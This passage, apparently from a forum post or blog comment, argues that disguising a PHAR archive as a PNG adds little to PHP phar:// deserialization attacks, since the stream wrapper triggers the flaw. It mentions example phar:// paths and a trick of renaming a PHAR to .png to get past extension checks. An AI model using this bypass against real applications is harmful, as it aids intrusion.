But if the attacker can specify a file like "phar://phar.png", chances are, overwhelmingly, that he could just use "phar://phar.phar.png", or even "phar://phar.phar", without using the PNG at all.
On the other hand, if the attacker cannot include the magic "phar://" sequence, then they will be unable to exploit the phar vulnerability - be it in PNG, JPEG, PHAR, or MP3 for that matter.
The one use case where "PHAR masking" could be needed is if the vulnerable application checks that the supplied URL or filename ends in PNG, but does not check that it begins with "http(s)://" or is an actual local path. Not only do I feel that this scenario is unlikely, but I submit that it could be more easily exploited by simply renaming any old PHAR so that it has a ".png" extension. This is because the activation of the PHAR stream is not driven by the file or is structure, but by its URL or path.
This is a bit like how the physicist Richard P. Feynman was taught how to mix white and red paint into yellow: you add a bit of white, you add a bit of red, and if necessary add a hefty dollop of bright yellow.
Here, the PNG masking is somewhat like the red paint, and the "phar://" stream is the yellow paint. Yes, you can add white and red -- but you won't get yellow until you mix in the yellow paint. And if you have yellow, you need neither white nor red.